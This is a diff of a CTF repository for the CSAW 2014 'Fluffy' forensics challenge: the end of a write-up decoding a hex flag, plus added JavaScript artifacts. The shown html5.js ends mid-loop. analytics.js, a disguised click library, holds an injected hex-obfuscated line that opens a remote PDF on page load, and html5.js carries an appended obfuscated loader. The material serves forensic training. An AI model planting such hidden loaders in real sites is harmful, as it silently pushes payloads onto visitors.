>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D")
|
||||
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}
|
||||
```
|
||||
|
||||
---
|
||||
## Finding the Second Hex-encoded String: Approach II
|
||||
|
||||
There is a nice tool called [qpdf] that can be very useful here:
|
||||
```sh
|
||||
$ sudp yum install qpf
|
||||
```
|
||||
|
||||
Now, we just do the following conversion:
|
||||
```sh
|
||||
$ qpdf --qdf announcement.pdf unpacked.pdf
|
||||
```
|
||||
|
||||
Opening *unpacket.pdf* with [l3afpad] also leads to the flag :
|
||||
|
||||
```
|
||||
stream
|
||||
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
|
||||
endstream
|
||||
endobj
|
||||
````
|
||||
|
||||
|
||||
--------------
|
||||
**That's it! Hack all the things!**
|
||||
|
||||
|
||||
|
||||
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
|
||||
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9
|
||||
[online hex-decode]: http://ddecode.com/hexdecoder/
|
||||
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
|
||||
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)
|
||||
[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php
|
||||
[qpdf]: http://qpdf.sourceforge.net/
|
||||
[l3afpad]: http://tarot.freeshell.org/leafpad/
|
||||
[diff]: http://linux.die.net/man/1/diff
|
||||
[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html
|
||||
[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html
|
||||
[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl
|
||||
[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
[bzip2]: http://en.wikipedia.org/wiki/Bzip2
|
||||
[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22
|
||||
[blog]: http://ww17.blog.eyeheartfluffybunnies.com
|
||||
[hashcat]: http://hashcat.net/hashcat/
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[Kali]: http://www.kali.org/
|
||||
[Node]: http://nodejs.org/
|
325
CTFs/2014-CSAW-CTF/forensics/fluffy/analytics.js
Normal file
325
CTFs/2014-CSAW-CTF/forensics/fluffy/analytics.js
Normal file
|
@ -0,0 +1,325 @@
|
|||
function aiho(a) {
|
||||
"use strict";
|
||||
var b, c = this;
|
||||
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
||||
this.onClick = function() {
|
||||
return aiho.prototype.onClick.apply(c, arguments)
|
||||
}, this.onMouse = function() {
|
||||
return aiho.prototype.onMouse.apply(c, arguments)
|
||||
}, this.onTouchStart = function() {
|
||||
return aiho.prototype.onTouchStart.apply(c, arguments)
|
||||
}, this.onTouchMove = function() {
|
||||
return aiho.prototype.onTouchMove.apply(c, arguments)
|
||||
}, this.onTouchEnd = function() {
|
||||
return aiho.prototype.onTouchEnd.apply(c, arguments)
|
||||
}, this.onTouchCancel = function() {
|
||||
return aiho.prototype.onTouchCancel.apply(c, arguments)
|
||||
}, aiho.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.removeEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
||||
}, a.addEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.addEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
||||
a.propagationStopped || c(a)
|
||||
}), d) : e.call(a, b, c, d)
|
||||
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
||||
b(a)
|
||||
}, !1), a.onclick = null))
|
||||
}
|
||||
aiho.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, aiho.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), aiho.prototype.deviceIsIOS4 = aiho.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), aiho.prototype.deviceIsIOSWithBadTarget = aiho.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), aiho.prototype.needsClick = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "button":
|
||||
case "select":
|
||||
case "textarea":
|
||||
if (a.disabled) return !0;
|
||||
break;
|
||||
case "input":
|
||||
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
||||
break;
|
||||
case "label":
|
||||
case "video":
|
||||
return !0
|
||||
}
|
||||
return /\bneedsclick\b/.test(a.className)
|
||||
}, aiho.prototype.needsFocus = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "textarea":
|
||||
return !0;
|
||||
case "select":
|
||||
return !this.deviceIsAndroid;
|
||||
case "input":
|
||||
switch (a.type) {
|
||||
case "button":
|
||||
case "checkbox":
|
||||
case "file":
|
||||
case "image":
|
||||
case "radio":
|
||||
case "submit":
|
||||
return !1
|
||||
}
|
||||
return !a.disabled && !a.readOnly;
|
||||
default:
|
||||
return /\bneedsfocus\b/.test(a.className)
|
||||
}
|
||||
}, aiho.prototype.sendClick = function(a, b) {
|
||||
"use strict";
|
||||
var c, d;
|
||||
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
||||
}, aiho.prototype.determineEventType = function(a) {
|
||||
"use strict";
|
||||
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
||||
}, aiho.prototype.focus = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
||||
}, aiho.prototype.updateScrollParent = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
||||
c = a;
|
||||
do {
|
||||
if (c.scrollHeight > c.offsetHeight) {
|
||||
b = c, a.fastClickScrollParent = c;
|
||||
break
|
||||
}
|
||||
c = c.parentElement
|
||||
} while (c)
|
||||
}
|
||||
b && (b.fastClickLastScrollTop = b.scrollTop)
|
||||
}, aiho.prototype.getTargetElementFromEventTarget = function(a) {
|
||||
"use strict";
|
||||
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
||||
}, aiho.prototype.onTouchStart = function(a) {
|
||||
"use strict";
|
||||
var b, c, d;
|
||||
if (a.targetTouches.length > 1) return !0;
|
||||
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
||||
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
||||
if (!this.deviceIsIOS4) {
|
||||
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
||||
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
||||
}
|
||||
}
|
||||
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
||||
}, aiho.prototype.touchHasMoved = function(a) {
|
||||
"use strict";
|
||||
var b = a.changedTouches[0],
|
||||
c = this.touchBoundary;
|
||||
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
||||
}, aiho.prototype.onTouchMove = function(a) {
|
||||
"use strict";
|
||||
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
||||
}, aiho.prototype.findControl = function(a) {
|
||||
"use strict";
|
||||
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
||||
}, aiho.prototype.onTouchEnd = function(a) {
|
||||
"use strict";
|
||||
var b, c, d, e, f, g = this.targetElement;
|
||||
if (!this.trackingClick) return !0;
|
||||
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
||||
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
||||
if (b = this.findControl(g)) {
|
||||
if (this.focus(g), this.deviceIsAndroid) return !1;
|
||||
g = b
|
||||
}
|
||||
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
||||
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
||||
}, aiho.prototype.onTouchCancel = function() {
|
||||
"use strict";
|
||||
this.trackingClick = !1, this.targetElement = null
|
||||
}, aiho.prototype.onMouse = function(a) {
|
||||
"use strict";
|
||||
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
||||
}, aiho.prototype.onClick = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
||||
}, aiho.prototype.destroy = function() {
|
||||
"use strict";
|
||||
var a = this.layer;
|
||||
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
||||
}, aiho.notNeeded = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if ("undefined" == typeof window.ontouchstart) return !0;
|
||||
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
||||
if (!aiho.prototype.deviceIsAndroid) return !0;
|
||||
if (b = document.querySelector("meta[name=viewport]")) {
|
||||
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
||||
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
||||
}
|
||||
}
|
||||
return "none" === a.style.msTouchAction ? !0 : !1
|
||||
}, aiho.attach = function(a) {
|
||||
"use strict";
|
||||
return new aiho(a)
|
||||
}, "undefined" != typeof define && define.amd ? define(function() {
|
||||
"use stric"t;
|
||||
return aiho
|
||||
}) : "undefined" != typeof module && module.exports ? (module.exports = aiho.attach, module.exports.aiho = aiho) : window.aiho = aiho;
|
||||
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
|
||||
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
|
||||
|
||||
function wq1(a) {
|
||||
"use strict";
|
||||
var b, c = this;
|
||||
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
||||
this.onClick = function() {
|
||||
return wq1.prototype.onClick.apply(c, arguments)
|
||||
}, this.onMouse = function() {
|
||||
return wq1.prototype.onMouse.apply(c, arguments)
|
||||
}, this.onTouchStart = function() {
|
||||
return wq1.prototype.onTouchStart.apply(c, arguments)
|
||||
}, this.onTouchMove = function() {
|
||||
return wq1.prototype.onTouchMove.apply(c, arguments)
|
||||
}, this.onTouchEnd = function() {
|
||||
return wq1.prototype.onTouchEnd.apply(c, arguments)
|
||||
}, this.onTouchCancel = function() {
|
||||
return wq1.prototype.onTouchCancel.apply(c, arguments)
|
||||
}, wq1.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.removeEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
||||
}, a.addEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.addEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
||||
a.propagationStopped || c(a)
|
||||
}), d) : e.call(a, b, c, d)
|
||||
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
||||
b(a)
|
||||
}, !1), a.onclick = null))
|
||||
}
|
||||
wq1.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, wq1.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), wq1.prototype.deviceIsIOS4 = wq1.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), wq1.prototype.deviceIsIOSWithBadTarget = wq1.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), wq1.prototype.needsClick = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "button":
|
||||
case "select":
|
||||
case "textarea":
|
||||
if (a.disabled) return !0;
|
||||
break;
|
||||
case "input":
|
||||
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
||||
break;
|
||||
case "label":
|
||||
case "video":
|
||||
return !0
|
||||
}
|
||||
return /\bneedsclick\b/.test(a.className)
|
||||
}, wq1.prototype.needsFocus = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "textarea":
|
||||
return !0;
|
||||
case "select":
|
||||
return !this.deviceIsAndroid;
|
||||
case "input":
|
||||
switch (a.type) {
|
||||
case "button":
|
||||
case "checkbox":
|
||||
case "file":
|
||||
case "image":
|
||||
case "radio":
|
||||
case "submit":
|
||||
return !1
|
||||
}
|
||||
return !a.disabled && !a.readOnly;
|
||||
default:
|
||||
return /\bneedsfocus\b/.test(a.className)
|
||||
}
|
||||
}, wq1.prototype.sendClick = function(a, b) {
|
||||
"use strict";
|
||||
var c, d;
|
||||
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
||||
}, wq1.prototype.determineEventType = function(a) {
|
||||
"use strict";
|
||||
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
||||
}, wq1.prototype.focus = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
||||
}, wq1.prototype.updateScrollParent = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
||||
c = a;
|
||||
do {
|
||||
if (c.scrollHeight > c.offsetHeight) {
|
||||
b = c, a.fastClickScrollParent = c;
|
||||
break
|
||||
}
|
||||
c = c.parentElement
|
||||
} while (c)
|
||||
}
|
||||
b && (b.fastClickLastScrollTop = b.scrollTop)
|
||||
}, wq1.prototype.getTargetElementFromEventTarget = function(a) {
|
||||
"use strict";
|
||||
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
||||
}, wq1.prototype.onTouchStart = function(a) {
|
||||
"use strict";
|
||||
var b, c, d;
|
||||
if (a.targetTouches.length > 1) return !0;
|
||||
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
||||
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
||||
if (!this.deviceIsIOS4) {
|
||||
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
||||
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
||||
}
|
||||
}
|
||||
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
||||
}, wq1.prototype.touchHasMoved = function(a) {
|
||||
"use strict";
|
||||
var b = a.changedTouches[0],
|
||||
c = this.touchBoundary;
|
||||
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
||||
}, wq1.prototype.onTouchMove = function(a) {
|
||||
"use strict";
|
||||
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
||||
}, wq1.prototype.findControl = function(a) {
|
||||
"use strict";
|
||||
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
||||
}, wq1.prototype.onTouchEnd = function(a) {
|
||||
"use strict";
|
||||
var b, c, d, e, f, g = this.targetElement;
|
||||
if (!this.trackingClick) return !0;
|
||||
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
||||
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
||||
if (b = this.findControl(g)) {
|
||||
if (this.focus(g), this.deviceIsAndroid) return !1;
|
||||
g = b
|
||||
}
|
||||
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
||||
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
||||
}, wq1.prototype.onTouchCancel = function() {
|
||||
"use strict";
|
||||
this.trackingClick = !1, this.targetElement = null
|
||||
}, wq1.prototype.onMouse = function(a) {
|
||||
"use strict";
|
||||
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
||||
}, wq1.prototype.onClick = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
||||
}, wq1.prototype.destroy = function() {
|
||||
"use strict";
|
||||
var a = this.layer;
|
||||
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
||||
}, wq1.notNeeded = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if ("undefined" == typeof window.ontouchstart) return !0;
|
||||
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
||||
if (!wq1.prototype.deviceIsAndroid) return !0;
|
||||
if (b = document.querySelector("meta[name=viewport]")) {
|
||||
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
||||
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
||||
}
|
||||
}
|
||||
return "none" === a.style.msTouchAction ? !0 : !1
|
||||
}, wq1.attach = function(a) {
|
||||
"use strict";
|
||||
return new wq1(a)
|
||||
}, "undefined" != typeof define && define.amd ? define(function() {
|
||||
"use strict";
|
||||
return wq1
|
||||
}) : "undefined" != typeof module && module.exports ? (module.exports = wq1.attach, module.exports.wq1 = wq1) : window.wq1 = wq1;
|
BIN
CTFs/2014-CSAW-CTF/forensics/fluffy/announcemen.pdf
Normal file
BIN
CTFs/2014-CSAW-CTF/forensics/fluffy/announcemen.pdf
Normal file
Binary file not shown.
122
CTFs/2014-CSAW-CTF/forensics/fluffy/html5.js
Normal file
122
CTFs/2014-CSAW-CTF/forensics/fluffy/html5.js
Normal file
|
@ -0,0 +1,122 @@
|
|||
/*
|
||||
HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
|
||||
*/
|
||||
(function(l, f) {
|
||||
function m() {
|
||||
var a = e.elements;
|
||||
return "string" == typeof a ? a.split(" ") : a
|
||||
}
|
||||
|
||||
function i(a) {
|
||||
var b = n[a[o]];
|
||||
b || (b = {}, h++, a[o] = h, n[h] = b);
|
||||
return b
|
||||
}
|
||||
|
||||
function p(a, b, c) {
|
||||
b || (b = f);
|
||||
if (g) return b.createElement(a);
|
||||
c || (c = i(b));
|
||||
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
|
||||
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
|
||||
}
|
||||
|
||||
function t(a, b) {
|
||||
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag();
|
||||
a.createElement = function(c) {
|
||||
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
|
||||
};
|
||||
a.createDocumentFragment = Function("h,f", "return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" + m().join().replace(/[\w\-]+/g, function(a) {
|
||||
b.createElem(a);
|
||||
b.frag.createElement(a);
|
||||
return 'c("' + a + '")'
|
||||
}) + ");return n}")(e, b.frag)
|
||||
}
|
||||
|
||||
function q(a) {
|
||||
a || (a = f);
|
||||
var b = i(a);
|
||||
if (e.shivCSS && !j && !b.hasCSS) {
|
||||
var c, d = a;
|
||||
c = d.createElement("p");
|
||||
d = d.getElementsByTagName("head")[0] || d.documentElement;
|
||||
c.innerHTML = "x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
|
||||
c = d.insertBefore(c.lastChild, d.firstChild);
|
||||
b.hasCSS = !!c
|
||||
}
|
||||
g || t(a, b);
|
||||
return a
|
||||
}
|
||||
var k = l.html5 || {},
|
||||
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
|
||||
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
|
||||
j, o = "_html5shiv",
|
||||
h = 0,
|
||||
n = {},
|
||||
g;
|
||||
(function() {
|
||||
try {
|
||||
var a = f.createElement("a");
|
||||
a.innerHTML = "<xyz></xyz>";
|
||||
j = "hidden" in a;
|
||||
var b;
|
||||
if (!(b = 1 == a.childNodes.length)) {
|
||||
f.createElement("a");
|
||||
var c = f.createDocumentFragment();
|
||||
b = "undefined" == typeof c.cloneNode ||
|
||||
"undefined" == typeof c.createDocumentFragment || "undefined" == typeof c.createElement
|
||||
}
|
||||
g = b
|
||||
} catch (d) {
|
||||
g = j = !0
|
||||
}
|
||||
})();
|
||||
var e = {
|
||||
elements: k.elements || "abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",
|
||||
version: "3.7.0",
|
||||
shivCSS: !1 !== k.shivCSS,
|
||||
supportsUnknownElements: g,
|
||||
shivMethods: !1 !== k.shivMethods,
|
||||
type: "default",
|
||||
shivDocument: q,
|
||||
createElement: p,
|
||||
createDocumentFragment: function(a, b) {
|
||||
a || (a = f);
|
||||
if (g) return a.createDocumentFragment();
|
||||
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
|
||||
return c
|
||||
}
|
||||
};
|
||||
l.html5 = e;
|
||||
q(f)
|
||||
})(this, console);
|
||||
var g = "ti";
|
||||
var c = "HTML Tags";
|
||||
var f = ". li colgroup br src datalist script option .";
|
||||
f = f.split(" ");
|
||||
c = "";
|
||||
k = "/";
|
||||
m = f[6];
|
||||
for (var i = 0; i < f.length; i++) {
|
||||
c += f[i].length.toString();
|
||||
}
|
||||
v = f[0];
|
||||
x = "\'ht";
|
||||
b = f[4];
|
||||
f = 2541 * 6 - 35 + 46 + 12 - 15269;
|
||||
c += f.toString();
|
||||
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
|
||||
c += f.toString();
|
||||
f = "";
|
||||
c = c.split("");
|
||||
var w = 0;
|
||||
u = "s";
|
||||
for (var i = 0; i < c.length; i++) {
|
||||
